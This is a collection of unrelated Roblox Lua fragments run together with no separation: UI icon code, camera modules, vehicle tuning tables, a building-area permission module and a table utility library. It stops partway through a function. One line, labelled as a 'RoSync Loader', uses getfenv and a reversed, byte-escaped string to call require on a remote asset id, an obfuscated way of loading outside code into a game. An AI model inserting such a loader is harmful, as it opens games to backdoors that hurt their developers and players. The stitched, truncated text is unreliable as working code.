number spinners appearance self:set("iconLabelSize", UDim2.new(1,0,1,0)) numberSpinner.Parent = self:getInstance("iconButton") -- This creates a fake iconLabel which updates the property of all descendant spinner TextLabels when indexed local textLabel = {} setmetatable(textLabel, {__newindex = function(_, index, value) for _, label in pairs(numberSpinner.Frame:GetDescendants()) do if label:IsA("TextLabel") then label[index] = value end end end}) -- This overrides existing instances and settings so that they update the spinners properties (instead of the old textlabel) local iconButton = self:getInstance("iconButton") iconButton.ZIndex = 0 self:setInstance("iconLabel", textLabel) self:modifySetting("iconText", {instanceNames = {}}) -- We do this to prevent text being modified within the metatable above self:setInstance("iconLabelSpinner", numberSpinner.Frame) local settingsToConvert = {"iconLabelVisible", "iconLabelAnchorPoint", "iconLabelPosition", "iconLabelSize"} for _, settingName in pairs(settingsToConvert) do self:modifySetting(settingName, {instanceNames = {"iconLabelSpinner"}}) end -- This applies all the values we just updated self:_updateAll() return self end function Icon:setEnabled(bool) self.enabled = bool self.instances.iconContainer.Visible = bool self.updated:Fire() return self end function Icon:setName(string) self.name = string self.instances.iconContainer.Name = string return self end function Icon:setProperty(propertyName, value) self[propertyName] = value return self end function Icon:_playClickSound() local clickSound = self.instances.clickSound if clickSound.SoundId ~= nil and #clickSound.SoundId > 0 and clickSound.Volume > 0 then local clickSoundCopy = clickSound:Clone() clickSoundCopy.Parent = clickSound.Parent clickSoundCopy:Play() debris:AddItem(clickSoundCopy, clickSound.TimeLength) end end function Icon:select(byIcon) --if self.locked then return self end self.isSelected = true self:_setToggleItemsVisible(true, byIcon) self:_updateNotice() self:_updateAll() self:_playClickSound() if #self.dropdownIcons > 0 or #self.menuIcons > 0 then IconController:_updateSelectionGroup() end if userInputService.GamepadEnabled then -- If a corresponding guiObject is found (set via :setToggleItem()) then this automatically -- moves the controller selection to a selectable and active instance within that guiObject. -- It also support back (Controller B) being pressed by navigating to previous pages or -- closing the icon and focusing selection back on the controller navigation topbar. for toggleItem, buttonInstancesArray in pairs(self.toggleItems) do if #buttonInstancesArray > 0 then local focusMaid = Maid.new() guiService:AddSelectionTuple(self.UID, unpack(buttonInstancesArray)) guiService.SelectedObject = buttonInstancesArray[1] IconController.activeButtonBCallbacks += 1 focusMaid:give(userInputService.InputEnded:Connect(function(input, processed) local blockBackBehaviour = false for _, func in pairs(self.blockBackBehaviourChecks) do if func() == true then blockBackBehaviour = true break end end if input.KeyCode == Enum.KeyCode.ButtonB and not blockBackBehaviour then guiService.SelectedObject = self.instances.iconButton self:deselect() end end)) focusMaid:give(self.deselected:Connect(function() focusMaid:clean() end)) focusMaid:give(function() IconController.activeButtonBCallbacks -= 1 if IconController.activeButtonBCallbacks < 0 then IconController.activeButtonBCallbacks = 0 end end) end end end self.selected:Fire() self.toggled:Fire(self.isSelected) return self end function Icon:deselect(byIcon) --if self.locked then return self end self.isSelected = false self:_setToggleItemsVisible(false, byIcon) self:_updateNotice() self:_updateAll() self:_playClickSound() if #self.dropdownIcons > 0 or #self.menuIcons > 0 then IconController:_updateSelectionGroup() end self.deselected:Fire() self.toggled:Fire(self.isSelected) if userInputService.GamepadEnabled then guiService:RemoveSelectionGroup(self.UID) end return self end function Icon:notify(clearNoticeEvent, noticeId) coroutine.wrap(function() if not clearNoticeEvent then clearNoticeEvent = self.deselected end if self._parentIcon then self._parentIcon:notify(clearNoticeEvent) end local notifComplete = Signal.new() local endEvent = self._endNotices:Connect(function() notifComplete:Fire() end) local customEvent = clearNoticeEvent:Connect(function() notifComplete:Fire() end) noticeId = noticeId or httpService:GenerateGUID(true) self.notices[noticeId] = { completeSignal = notifComplete, clearNoticeEvent = clearNoticeEvent, } self.totalNotices += 1 self:_updateNotice() self.notified:Fire(noticeId) notifComplete:Wait() endEvent:Disconnect() customEvent:Disconnect() notifComplete:Disconnect() self.totalNotices -= 1 self.notices[noticeId] = nil self:_updateNotice() end)() return self end function Icon:_updateNotice() local enabled = true if self.totalNotices < 1 then enabled = false end -- Deselect if not self.isSelected then if (#self.dropdownIcons > 0 or #self.menuIcons > 0) and self.totalNotices > 0 then enabled = true end end -- Select if self.isSelected then if #self.dropdownIcons > 0 or #self.menuIcons > 0 then enabled = false end end local value = (enabled and 0) or 1 self:set("noticeImageTransparency", value) self:set("noticeTextTransparency", value) self.instances.noticeLabel.Text = (self.totalNotices < 100 and self.totalNotices) or "99+" end function Icon:clearNotices() self._endNotices:Fire() return self end function Icon:disableStateOverlay(bool) if bool == nil then bool = true end local stateOverlay = self.instances.iconOverlay stateOverlay.Visible = not bool return self end
--[[ Services ]]
-- local PlayersService = game:GetService("Players") local VRService = game:GetService("VRService") local UserGameSettings = UserSettings():GetService("UserGameSettings")
--[[ The Module ]]
-- local BaseCamera = require(script.Parent:WaitForChild("BaseCamera")) local LegacyCamera = setmetatable({}, BaseCamera) LegacyCamera.__index = LegacyCamera function LegacyCamera.new() local self = setmetatable(BaseCamera.new(), LegacyCamera) self.cameraType = Enum.CameraType.Fixed self.lastUpdate = tick() self.lastDistanceToSubject = nil return self end function LegacyCamera:GetModuleName() return "LegacyCamera" end
-- IGNORE THIS UNLESS YOU KNOW WHAT YOU ARE DOING. -- YEAH, I KNOW THIS IS MESSY. MY APOLOGIES.
if CONTENTAMOUNT == 10 then CONTENT.Content1.Visible = true CONTENT.Content2.Visible = true CONTENT.Content3.Visible = true CONTENT.Content4.Visible = true CONTENT.Content5.Visible = true CONTENT.Content6.Visible = true CONTENT.Content7.Visible = true CONTENT.Content8.Visible = true CONTENT.Content9.Visible = true CONTENT.Content10.Visible = true else end if CONTENTAMOUNT == 9 then CONTENT.Content1.Visible = true CONTENT.Content2.Visible = true CONTENT.Content3.Visible = true CONTENT.Content4.Visible = true CONTENT.Content5.Visible = true CONTENT.Content6.Visible = true CONTENT.Content7.Visible = true CONTENT.Content8.Visible = true CONTENT.Content9.Visible = true CONTENT.Content10.Visible = false else end if CONTENTAMOUNT == 8 then CONTENT.Content1.Visible = true CONTENT.Content2.Visible = true CONTENT.Content3.Visible = true CONTENT.Content4.Visible = true CONTENT.Content5.Visible = true CONTENT.Content6.Visible = true CONTENT.Content7.Visible = true CONTENT.Content8.Visible = true CONTENT.Content9.Visible = false CONTENT.Content10.Visible = false else end if CONTENTAMOUNT == 7 then CONTENT.Content1.Visible = true CONTENT.Content2.Visible = true CONTENT.Content3.Visible = true CONTENT.Content4.Visible = true CONTENT.Content5.Visible = true CONTENT.Content6.Visible = true CONTENT.Content7.Visible = true CONTENT.Content8.Visible = false CONTENT.Content9.Visible = false CONTENT.Content10.Visible = false else end if CONTENTAMOUNT == 6 then CONTENT.Content1.Visible = true CONTENT.Content2.Visible = true CONTENT.Content3.Visible = true CONTENT.Content4.Visible = true CONTENT.Content5.Visible = true CONTENT.Content6.Visible = true CONTENT.Content7.Visible = false CONTENT.Content8.Visible = false CONTENT.Content9.Visible = false CONTENT.Content10.Visible = false else end if CONTENTAMOUNT == 5 then CONTENT.Content1.Visible = true CONTENT.Content2.Visible = true CONTENT.Content3.Visible = true CONTENT.Content4.Visible = true CONTENT.Content5.Visible = true CONTENT.Content6.Visible = false CONTENT.Content7.Visible = false CONTENT.Content8.Visible = false CONTENT.Content9.Visible = false CONTENT.Content10.Visible = false else end if CONTENTAMOUNT == 4 then CONTENT.Content1.Visible = true CONTENT.Content2.Visible = true CONTENT.Content3.Visible = true CONTENT.Content4.Visible = true CONTENT.Content5.Visible = false CONTENT.Content6.Visible = false CONTENT.Content7.Visible = false CONTENT.Content8.Visible = false CONTENT.Content9.Visible = false CONTENT.Content10.Visible = false else end if CONTENTAMOUNT == 3 then CONTENT.Content1.Visible = true CONTENT.Content2.Visible = true CONTENT.Content3.Visible = true CONTENT.Content4.Visible = false CONTENT.Content5.Visible = false CONTENT.Content6.Visible = false CONTENT.Content7.Visible = false CONTENT.Content8.Visible = false CONTENT.Content9.Visible = false CONTENT.Content10.Visible = false else end if CONTENTAMOUNT == 2 then CONTENT.Content1.Visible = true CONTENT.Content2.Visible = true CONTENT.Content3.Visible = false CONTENT.Content4.Visible = false CONTENT.Content5.Visible = false CONTENT.Content6.Visible = false CONTENT.Content7.Visible = false CONTENT.Content8.Visible = false CONTENT.Content9.Visible = false CONTENT.Content10.Visible = false else end if CONTENTAMOUNT == 1 then CONTENT.Content1.Visible = true CONTENT.Content2.Visible = false CONTENT.Content4.Visible = false CONTENT.Content5.Visible = false CONTENT.Content6.Visible = false CONTENT.Content7.Visible = false CONTENT.Content8.Visible = false CONTENT.Content9.Visible = false CONTENT.Content10.Visible = false else end
--Steer Gyro Tuning
Tune.SteerD = 1200 -- Steering Dampening Tune.SteerMaxTorque = 50000 -- Steering Force Tune.SteerP = 7000 -- Steering Aggressiveness
-- Freeze the constant, as it is exposed to the user.
table.freeze(ALL_PLAYERS) return function(): Types.PlayerContainer -- Just send a reference. No point making a new table. return ALL_PLAYERS end
--you can trust this script
l = game:service("Lighting") while true do wait(1) l:SetMinutesAfterMidnight(l:GetMinutesAfterMidnight() +1) end
-- Decompiled with Visenya | https://targaryentech.com
local Tune = {} Tune.LoadDelay = 0.1 Tune.AutoStart = true Tune.AutoFlip = true Tune.FCamber = -1 Tune.RCamber = -1 Tune.FToe = 0 Tune.RToe = 0 Tune.Weight = 3000 Tune.WeightBSize = { 6, 3.5, 14 } Tune.WeightDist = 50 Tune.CGHeight = 0.8 Tune.WBVisible = false Tune.FWheelDensity = 0.1 Tune.RWheelDensity = 0.1 Tune.FWLgcyDensity = 1 Tune.RWLgcyDensity = 1 Tune.AxleSize = 2 Tune.AxleDensity = 0.1 Tune.SusEnabled = true Tune.FSusDamping = 500 Tune.FSusStiffness = 9000 Tune.FSusLength = 2 Tune.FSusMaxExt = 0.3 Tune.FSusMaxComp = 0.1 Tune.FSusAngle = 80 Tune.FWsBoneLen = 5 Tune.FWsBoneAngle = 0 Tune.FAnchorOffset = { -0.4, -0.5, 0 } Tune.RSusDamping = 500 Tune.RSusStiffness = 9000 Tune.RSusLength = 2 Tune.RSusMaxExt = 0.3 Tune.RSusMaxComp = 0.1 Tune.RSusAngle = 80 Tune.RWsBoneLen = 5 Tune.RWsBoneAngle = 0 Tune.RAnchorOffset = { -0.4, -0.5, 0 } Tune.SusVisible = true Tune.WsBVisible = false Tune.SusRadius = 0.2 Tune.SusThickness = 0.1 Tune.SusColor = "Bright red" Tune.SusCoilCount = 6 Tune.WsColor = "Black" Tune.WsThickness = 0.1 Tune.FGyroDamp = 100 Tune.RGyroDamp = 100 Tune.SteerInner = 36 Tune.SteerOuter = 37 Tune.SteerSpeed = 0.05 Tune.ReturnSpeed = 0.1 Tune.SteerDecay = 320 Tune.MinSteer = 10 Tune.MSteerExp = 1 Tune.SteerD = 1000 Tune.SteerMaxTorque = 50000 Tune.SteerP = 100000 Tune.Horsepower = 180 Tune.IdleRPM = 700 Tune.PeakRPM = 6000 Tune.Redline = 6700 Tune.EqPoint = 5500 Tune.PeakSharpness = 7.5 Tune.CurveMult = 0.16 Tune.InclineComp = 1.7 Tune.RevAccel = 150 Tune.RevDecay = 75 Tune.RevBounce = 500 Tune.IdleThrottle = 3 Tune.ClutchTol = 500 Tune.Config = "AWD" Tune.FDiffSlipThres = 50 Tune.FDiffLockThres = 50 Tune.RDiffSlipThres = 50 Tune.RDiffLockThres = 50 Tune.CDiffSlipThres = 50 Tune.CDiffLockThres = 50 Tune.TCSEnabled = true Tune.TCSThreshold = 20 Tune.TCSGradient = 20 Tune.TCSLimit = 10 Tune.TransModes = { "Auto", "Semi", "Manual" } Tune.AutoShiftMode = "Speed" Tune.AutoUpThresh = -200 Tune.AutoDownThresh = 1400 Tune.FinalDrive = 4.06 Tune.Ratios = { 3.7, 0, 3.53, 2.04, 1.38, 1.03, 0.81, 0.64 } Tune.FDMult = 1.5 Tune.ABSEnabled = true Tune.ABSThreshold = 20 Tune.FBrakeForce = 1500 Tune.RBrakeForce = 1000 Tune.PBrakeForce = 5000 Tune.FLgcyBForce = 15000 Tune.RLgcyBForce = 10000 Tune.LgcyPBForce = 25000 Tune.Peripherals = { MSteerWidth = 67, MSteerDZone = 10, ControlLDZone = 5, ControlRDZone = 5 } Tune.Controls = { ToggleTCS = Enum.KeyCode.T, ToggleABS = Enum.KeyCode.Y, ToggleTransMode = Enum.KeyCode.M, ToggleMouseDrive = Enum.KeyCode.R, Throttle = Enum.KeyCode.Up, Brake = Enum.KeyCode.Down, SteerLeft = Enum.KeyCode.Left, SteerRight = Enum.KeyCode.Right, Throttle2 = Enum.KeyCode.W, Brake2 = Enum.KeyCode.S, SteerLeft2 = Enum.KeyCode.A, SteerRight2 = Enum.KeyCode.D, ShiftUp = Enum.KeyCode.E, ShiftDown = Enum.KeyCode.Q, Clutch = Enum.KeyCode.LeftShift, PBrake = Enum.KeyCode.P, MouseThrottle = Enum.UserInputType.MouseButton1, MouseBrake = Enum.UserInputType.MouseButton2, MouseClutch = Enum.KeyCode.W, MouseShiftUp = Enum.KeyCode.E, MouseShiftDown = Enum.KeyCode.Q, MousePBrake = Enum.KeyCode.LeftShift, ContlrThrottle = Enum.KeyCode.ButtonR2, ContlrBrake = Enum.KeyCode.ButtonL2, ContlrSteer = Enum.KeyCode.Thumbstick1, ContlrShiftUp = Enum.KeyCode.ButtonY, ContlrShiftDown = Enum.KeyCode.ButtonX, ContlrClutch = Enum.KeyCode.ButtonR1, ContlrPBrake = Enum.KeyCode.ButtonL1, ContlrToggleTMode = Enum.KeyCode.DPadUp, ContlrToggleTCS = Enum.KeyCode.DPadDown, ContlrToggleABS = Enum.KeyCode.DPadRight } Tune.WeightScaling = 0.02 Tune.LegacyScaling = 0.1 return Tune
-- ScreenGui containing the game
local InteractionGui = script.Parent
--------SIDE SQUARES--------
game.Workspace.sidesquares.l11.BrickColor = BrickColor.new(106) game.Workspace.sidesquares.l12.BrickColor = BrickColor.new(106) game.Workspace.sidesquares.l21.BrickColor = BrickColor.new(106) game.Workspace.sidesquares.l31.BrickColor = BrickColor.new(106) game.Workspace.rightpalette.l11.BrickColor = BrickColor.new(106) game.Workspace.rightpalette.l12.BrickColor = BrickColor.new(106) game.Workspace.rightpalette.l21.BrickColor = BrickColor.new(106) game.Workspace.rightpalette.l22.BrickColor = BrickColor.new(106) game.Workspace.sidesquares.l13.BrickColor = BrickColor.new(1013) game.Workspace.sidesquares.l23.BrickColor = BrickColor.new(1013) game.Workspace.sidesquares.l33.BrickColor = BrickColor.new(1013) game.Workspace.sidesquares.l34.BrickColor = BrickColor.new(1013) game.Workspace.rightpalette.l13.BrickColor = BrickColor.new(1013) game.Workspace.rightpalette.l23.BrickColor = BrickColor.new(1013) game.Workspace.rightpalette.l14.BrickColor = BrickColor.new(1013) game.Workspace.rightpalette.l24.BrickColor = BrickColor.new(1013) game.Workspace.sidesquares.l14.BrickColor = BrickColor.new(1023) game.Workspace.sidesquares.l15.BrickColor = BrickColor.new(1023) game.Workspace.sidesquares.l24.BrickColor = BrickColor.new(1023) game.Workspace.sidesquares.l25.BrickColor = BrickColor.new(1023) game.Workspace.sidesquares.l35.BrickColor = BrickColor.new(1023) game.Workspace.rightpalette.l15.BrickColor = BrickColor.new(1023) game.Workspace.rightpalette.l25.BrickColor = BrickColor.new(1023) game.Workspace.rightpalette.l16.BrickColor = BrickColor.new(1023) game.Workspace.rightpalette.l26.BrickColor = BrickColor.new(1023)
--
script.Parent.Parent.Botao2.ProximityPrompt.Triggered:Connect(function(plr) -- if plr.PlayerInfo.Patente.Value >= 3 then -- if aberto == false then create1:Play() som:Play() tela.BrickColor = BrickColor.new("Lime green") script.Parent.Parent.Body.Tela2.BrickColor = BrickColor.new("Lime green") wait(3) aberto = true else create2:Play() som:Play() tela.BrickColor = BrickColor.new("Really red") script.Parent.Parent.Body.Tela2.BrickColor = BrickColor.new("Really red") wait(3) aberto = false end -- else local Clone = script.NotificationScript:Clone() Clone.Disabled = false Clone.Parent = plr.PlayerGui end end)
-- Local private variables and constants
local ZERO_VECTOR2 = Vector2.new(0,0) local tweenAcceleration = math.rad(220) --Radians/Second^2 local tweenSpeed = math.rad(0) --Radians/Second local tweenMaxSpeed = math.rad(250) --Radians/Second local TIME_BEFORE_AUTO_ROTATE = 2.0 --Seconds, used when auto-aligning camera with vehicles local INITIAL_CAMERA_ANGLE = CFrame.fromOrientation(math.rad(-15), 0, 0) local FFlagUserCameraToggle do local success, result = pcall(function() return UserSettings():IsUserFeatureEnabled("UserCameraToggle") end) FFlagUserCameraToggle = success and result end
-- Returns a vector that points to the circumference of the spread with not randomization involved -- @param CFrame cameraCFrame -- @return Vector3
function SpreadSimulator:GetSpreadDirectionCircumferenceVector(cameraCFrame) -- Make cframe based on random angle local randomAngleCFrame = CFrame.Angles(0,0,1) -- Rotate camera cframe local rotatedCFrame = cameraCFrame * randomAngleCFrame -- Make spread vector based on current spread and the random point on circumference local spreadDirection = rotatedCFrame.UpVector * self.currentSpread return spreadDirection end
-- Track the enabling of areas
Security.Areas = Workspace:FindFirstChild('[Private Building Areas]'); Workspace.ChildAdded:Connect(function (Child) if not Security.Areas and Child.Name == '[Private Building Areas]' then Security.Areas = Child; end; end); Workspace.ChildRemoved:Connect(function (Child) if Security.Areas and Child.Name == '[Private Building Areas]' then Security.Areas = nil; end; end); function Security.IsAreaAuthorizedForPlayer(Area, Player) -- Returns whether `Player` has permission to manipulate parts in this area -- Ensure area has permissions local Permissions = Area:FindFirstChild '[Permissions]'; if not Permissions then return; else Permissions = require(Permissions); end; -- Ensure permissions are set up if not Permissions then return; end; -- Search for authorizing permission for _, Permission in pairs(Permissions) do -- Check group permissions if Permission.Type == 'Group' then -- Check player's group membership local PlayerInGroup = Player:IsInGroup(Permission.GroupId); -- If no specific rank is required, authorize if PlayerInGroup and not Permission.Ranks then return true; -- If specific rank is required, check player rank elseif PlayerInGroup and Permission.Ranks then local Symbol, RankNumber = tostring(Permission.Ranks):match('([<>]?=?)([0-9]+)'); local PlayerRank = Player:GetRankInGroup(Permission.GroupId); RankNumber = tonumber(RankNumber); -- Check the player rank if not Symbol and (PlayerRank == RankNumber) then return true; elseif Symbol == '=' and (PlayerRank == RankNumber) then return true; elseif Symbol == '>' and (PlayerRank > RankNumber) then return true; elseif Symbol == '<' and (PlayerRank < RankNumber) then return true; elseif Symbol == '>=' and (PlayerRank >= RankNumber) then return true; elseif Symbol == '<=' and (PlayerRank <= RankNumber) then return true; end; end; -- Check player permissions elseif Permission.Type == 'Player' then if (Player.userId == Permission.PlayerId) or (Player.Name == Permission.PlayerName) then return true; end; -- Check owner permissions elseif Permission.Type == 'Owner' then if (Player.userId == Permission.PlayerId) or (Player.Name == Permission.PlayerName) then return true; end; -- Check auto-permissions elseif Permission.Type == 'Anybody' then return true; -- Check friend permissions elseif Permission.Type == 'Friends' then if Player:IsFriendsWith(Permission.PlayerId) then return true; end; -- Check asset permissions elseif Permission.Type == 'Asset' then if MarketplaceService:PlayerOwnsAsset(Player, Permission.AssetId) then return true; end; -- Check team permissions elseif Permission.Type == 'Team' then if Permission.Team and Player.Team == Permission.Team then return true; elseif Permission.TeamColor and Player.Team and Player.Team.TeamColor == Permission.TeamColor then return true; elseif Permission.TeamName and Player.Team and Player.Team.Name == Permission.TeamName then return true; end; -- Check BC permissions elseif Permission.Type == 'NoBC' then if Player.MembershipType == Enum.MembershipType.None then return true; end; elseif Permission.Type == 'AnyBC' then if Player.MembershipType ~= Enum.MembershipType.None then return true; end; elseif Permission.Type == 'BC' then if Player.MembershipType == Enum.MembershipType.BuildersClub then return true; end; elseif Permission.Type == 'TBC' then if Player.MembershipType == Enum.MembershipType.TurboBuildersClub then return true; end; elseif Permission.Type == 'OBC' then if Player.MembershipType == Enum.MembershipType.OutrageousBuildersClub then return true; end; -- Check custom permissions elseif Permission.Type == 'Callback' then return Permission.Callback(Player); end; end; -- If the player passes none of these conditions, deny access return false; end; function Security.IsItemAllowed(Item, Player) -- Returns whether instance `Item` can be accessed -- Ensure `Item` is a part or a model local IsItemClassAllowed = (Item:IsA 'BasePart' and not Item:IsA 'Terrain') or (Item:IsA 'Model' and not Item:IsA 'Workspace') or Item:IsA 'Folder' or Item:IsA 'Smoke' or Item:IsA 'Fire' or Item:IsA 'Sparkles' or Item:IsA 'DataModelMesh' or Item:IsA 'Decal' or Item:IsA 'Texture' or Item:IsA 'Light' if not IsItemClassAllowed then return false end -- Check if `Item` descendants from any allowed location for _, AllowedLocation in pairs(Security.AllowedLocations) do if Item:IsDescendantOf(AllowedLocation) then return true end end -- Deny if `Item` is not a descendant of any allowed location return false end function Security.IsLocationAllowed(Location, Player) -- Returns whether location `Location` can be accessed -- Check if within allowed locations for _, AllowedLocation in pairs(Security.AllowedLocations) do if (AllowedLocation == Location) or Location:IsDescendantOf(AllowedLocation) then return true end end -- Deny if not within allowed locations return false end function Security.AreAreasEnabled() -- Returns whether areas are enabled -- Base whether areas are enabled depending on area container presence and tool mode if Security.Areas and (ToolMode == 'Tool') then return true; else return false; end; end; function Security.ArePartsViolatingAreas(Parts, Player, ExemptPartial, AreaPermissions) -- Returns whether the given parts are inside any unauthorized areas -- Make sure area security is being enforced if not Security.AreAreasEnabled() then return false; end; -- If no parts, no violations exist if not next(Parts) then return false end -- Make sure there is a permissions cache AreaPermissions = AreaPermissions or {}; -- Check which areas the parts are in local Areas, RegionMap = Security.GetSelectionAreas(Parts, true); -- Check authorization for each relevant area for _, Area in pairs(Areas) do -- Determine authorization if not in given permissions cache if AreaPermissions[Area] == nil then AreaPermissions[Area] = Security.IsAreaAuthorizedForPlayer(Area, Player); end; -- If unauthorized and partial violations aren't exempt, declare violation if not ExemptPartial and AreaPermissions[Area] == false then return true; end; -- If authorized and partial violations are allowed, check if all parts match area if ExemptPartial and AreaPermissions[Area] then -- Get parts matched to this area for Region, RegionParts in pairs(RegionMap) do if Region.Area == Area then -- If all parts are on this authorized area, call off any violation if Support.CountKeys(Parts) == #RegionParts then return false end end end end; end; -- If not in a private area, determine violation based on public building policy if #Areas == 0 then return not Security.AllowPublicBuilding; -- If authorization for a partial violation-exempt check on an area failed, indicate a violation elseif ExemptPartial then return true; -- If in authorized areas, determine violation based on public building policy compliance elseif RegionMap and not Security.AllowPublicBuilding then -- Check area residence of each part's corner local PartCornerCompliance = {}; for AreaRegion, Parts in pairs(RegionMap) do for _, Part in pairs(Parts) do PartCornerCompliance[Part] = PartCornerCompliance[Part] or 0; -- Track the number of corners that `Part` has in this region for _, Corner in pairs(Support.GetPartCorners(Part)) do if AreaRegion:CastPoint(Corner.p) then PartCornerCompliance[Part] = PartCornerCompliance[Part] + 1; end; end; end; end; -- Ensure all corners of the part are contained within areas for _, CornersContained in pairs(PartCornerCompliance) do if CornersContained ~= 8 then return true; end; end; end; -- If no violations occur, indicate no violations return false; end; function Security.GetSelectionAreas(Selection, ReturnMap) -- Returns a list of areas that the selection of parts is in -- Make sure areas are enabled if not Security.AreAreasEnabled() then return {}; end; -- Start a map if requested local Map = ReturnMap and {} or nil; -- Check each area to find out if any of the parts are within local Areas = {}; for _, Area in pairs(Security.Areas:GetChildren()) do -- Get all parts from the selection within this area local Region = RegionModule.new( Area.CFrame * CFrame.new(0, Security.AreaHeight / 2 - Area.Size.Y / 2, 0), Vector3.new(Area.Size.X, Security.AreaHeight + Area.Size.Y, Area.Size.Z) ); Region.Area = Area local ContainedParts = Region:CastParts(Selection); -- If parts are in this area, remember the area if #ContainedParts > 0 then table.insert(Areas, Area); -- Map out the parts for each area region if Map then Map[Region] = ContainedParts; end; end; end; -- Return the areas where any of the given parts exist return Areas, Map; end; function Security.GetPermissions(Areas, Player) -- Returns a cache of the current player's authorization to the given areas -- Make sure security is enabled if not Security.AreAreasEnabled() then return; end; -- Build the cache of permissions for each area local Cache = {}; for _, Area in pairs(Areas) do Cache[Area] = Security.IsAreaAuthorizedForPlayer(Area, Player); end; -- Return the permissions cache return Cache; end; return Security;
--[[ Model for an Outfit (e.g. Hat). { outfitId = number assets = {} bodyColors = {} } ]]
local Modules = game:GetService("Players").LocalPlayer.PlayerGui.AvatarEditorInGame.Modules local MockId = require(Modules.NotLApp.MockId) local Constants = require(Modules.AvatarExperience.AvatarEditor.Constants) local AEOutfitInfo = {} function AEOutfitInfo.new() local self = {} return self end function AEOutfitInfo.mock() local self = AEOutfitInfo.new() local MEDIUM_STONE_GREY = 194 self.outfitId = MockId() self.name = "" self.assets = {} self.bodyColors = { HeadColor = MEDIUM_STONE_GREY, LeftArmColor = MEDIUM_STONE_GREY, LeftLegColor = MEDIUM_STONE_GREY, RightArmColor = MEDIUM_STONE_GREY, RightLegColor = MEDIUM_STONE_GREY, TorsoColor = MEDIUM_STONE_GREY, } self.scales = { height = 0, width = 0, head = 0, depth = 0, proportion = 0, bodyType = 0, } self.avatarType = Constants.AvatarType.R15 self.isEditable = true return self end function AEOutfitInfo.fromWebApi(outfitId, name, assets, bodyColors, scales, avatarType, isEditable) local self = AEOutfitInfo.new() self.outfitId = outfitId self.name = name self.assets = assets self.bodyColors = bodyColors self.scales = scales self.avatarType = avatarType self.isEditable = isEditable return self end function AEOutfitInfo.fakeLCOutfit(outfitId) local self = AEOutfitInfo.new() self.isLayeredClothing = true self.outfitId = outfitId self.name = outfitId self.isEditable = false return self end return AEOutfitInfo
-- DESTROY/CLEANUP METHOD
function Icon:destroy() if self._destroyed then return end IconController.iconRemoved:Fire(self) self:clearNotices() if self._parentIcon then self:leave() end self:setDropdown() self:setMenu() self._destroyed = true self._maid:clean() end Icon.Destroy = Icon.destroy return Icon
--[[for x = 1, 50 do s.Pitch = s.Pitch + 0.01 s:play() wait(0.001) end]]
for x = 1,140 do s.Pitch = s.Pitch - 0.0020 s:play() wait(0.001) end wait() end
------------------------------------------------
local function Panned(input, processed) if not processed and input.UserInputType == Enum.UserInputType.MouseMovement then local delta = input.Delta panDeltaMouse = Vector2.new(-delta.y, -delta.x) end end
--[[ Last synced 10/14/2020 09:43 || RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
-------------------- --| Script Logic |-- --------------------
PlayersService.PlayerAdded:connect(OnPlayerAdded)
--[[ TableUtil.Copy(tbl: table): table TableUtil.CopyShallow(tbl: table): table TableUtil.Sync(tbl: table, template: table): void TableUtil.FastRemove(tbl: table, index: number): void TableUtil.FastRemoveFirstValue(tbl: table, value: any): (boolean, number) TableUtil.Map(tbl: table, callback: (value: any) -> any): table TableUtil.Filter(tbl: table, callback: (value: any) -> boolean): table TableUtil.Reduce(tbl: table, callback: (accum: number, value: number) -> number [, initialValue: number]): number TableUtil.Assign(target: table, ...sources: table): table TableUtil.Extend(tbl: table, extension: table): table TableUtil.Reverse(tbl: table): table TableUtil.Shuffle(tbl: table [, rng: Random]): table TableUtil.Flat(tbl: table [, maxDepth: number = 1]): table TableUtil.FlatMap(tbl: callback: (value: any) -> table): table TableUtil.Keys(tbl: table): table TableUtil.Find(tbl: table, callback: (value: any) -> boolean): (any, number) TableUtil.Every(tbl: table, callback: (value: any) -> boolean): boolean TableUtil.Some(tbl: table, callback: (value: any) -> boolean): boolean TableUtil.IsEmpty(tbl: table): boolean TableUtil.EncodeJSON(tbl: table): string TableUtil.DecodeJSON(json: string): table --]]
type Table = {any} type MapPredicate = (any, any, Table) -> any type FilterPredicate = (any, any, Table) -> boolean type ReducePredicate = (number, any, any, Table) -> number type FindCallback = (any, any, Table) -> boolean local TableUtil = {} local HttpService = game:GetService("HttpService") local rng = Random.new() local function CopyTable(t: Table): Table assert(type(t) == "table", "First argument must be a table") local function Copy(tbl) local tCopy = table.create(#tbl) for k,v in pairs(tbl) do if type(v) == "table" then tCopy[k] = Copy(v) else tCopy[k] = v end end return tCopy end return Copy(t) end local function CopyTableShallow(t: Table): Table local tCopy = table.create(#t) if #t > 0 then table.move(t, 1, #t, 1, tCopy) else for k,v in pairs(t) do tCopy[k] = v end end return tCopy end local function Sync(srcTbl: Table, templateTbl: Table): Table assert(type(srcTbl) == "table", "First argument must be a table") assert(type(templateTbl) == "table", "Second argument must be a table") local tbl = CopyTableShallow(srcTbl) -- If 'tbl' has something 'templateTbl' doesn't, then remove it from 'tbl' -- If 'tbl' has something of a different type than 'templateTbl', copy from 'templateTbl' -- If 'templateTbl' has something 'tbl' doesn't, then add it to 'tbl' for k,v in pairs(tbl) do local vTemplate = templateTbl[k] -- Remove keys not within template: if vTemplate == nil then tbl[k] = nil -- Synchronize data types: elseif type(v) ~= type(vTemplate) then if type(vTemplate) == "table" then tbl[k] = CopyTable(vTemplate) else tbl[k] = vTemplate end -- Synchronize sub-tables: elseif type(v) == "table" then tbl[k] = Sync(v, vTemplate) end end -- Add any missing keys: for k,vTemplate in pairs(templateTbl) do local v = tbl[k] if v == nil then if type(vTemplate) == "table" then tbl[k] = CopyTable(vTemplate) else tbl[k] = vTemplate end end end return tbl end local function FastRemove(t: Table, i: number) local n = #t t[i] = t[n] t[n] = nil end local function FastRemoveFirstValue(t: Table, v: any): (boolean, number?) local index: number? = table.find(t, v) if index then FastRemove(t, index) return true, index end return false, nil end local function Map(t: Table, f: MapPredicate): Table assert(type(t) == "table", "First argument must be a table") assert(type(f) == "function", "Second argument must be a function") local newT = table.create(#t) for k,v in pairs(t) do newT[k] = f(v, k, t) end return newT end local function Filter(t: Table, f: FilterPredicate): Table assert(type(t) == "table", "First argument must be a table") assert(type(f) == "function", "Second argument must be a function") local newT = table.create(#t) if #t > 0 then local n = 0 for i,v in ipairs(t) do if f(v, i, t) then n += 1 newT[n] = v end end else for k,v in pairs(t) do if f(v, k, t) then newT[k] = v end end end return newT end local function Reduce(t: Table, f: ReducePredicate, init: number?): number assert(type(t) == "table", "First argument must be a table") assert(type(f) == "function", "Second argument must be a function") assert(init == nil or type(init) == "number", "Third argument must be a number or nil") local result = init or 0 for k,v in pairs(t) do 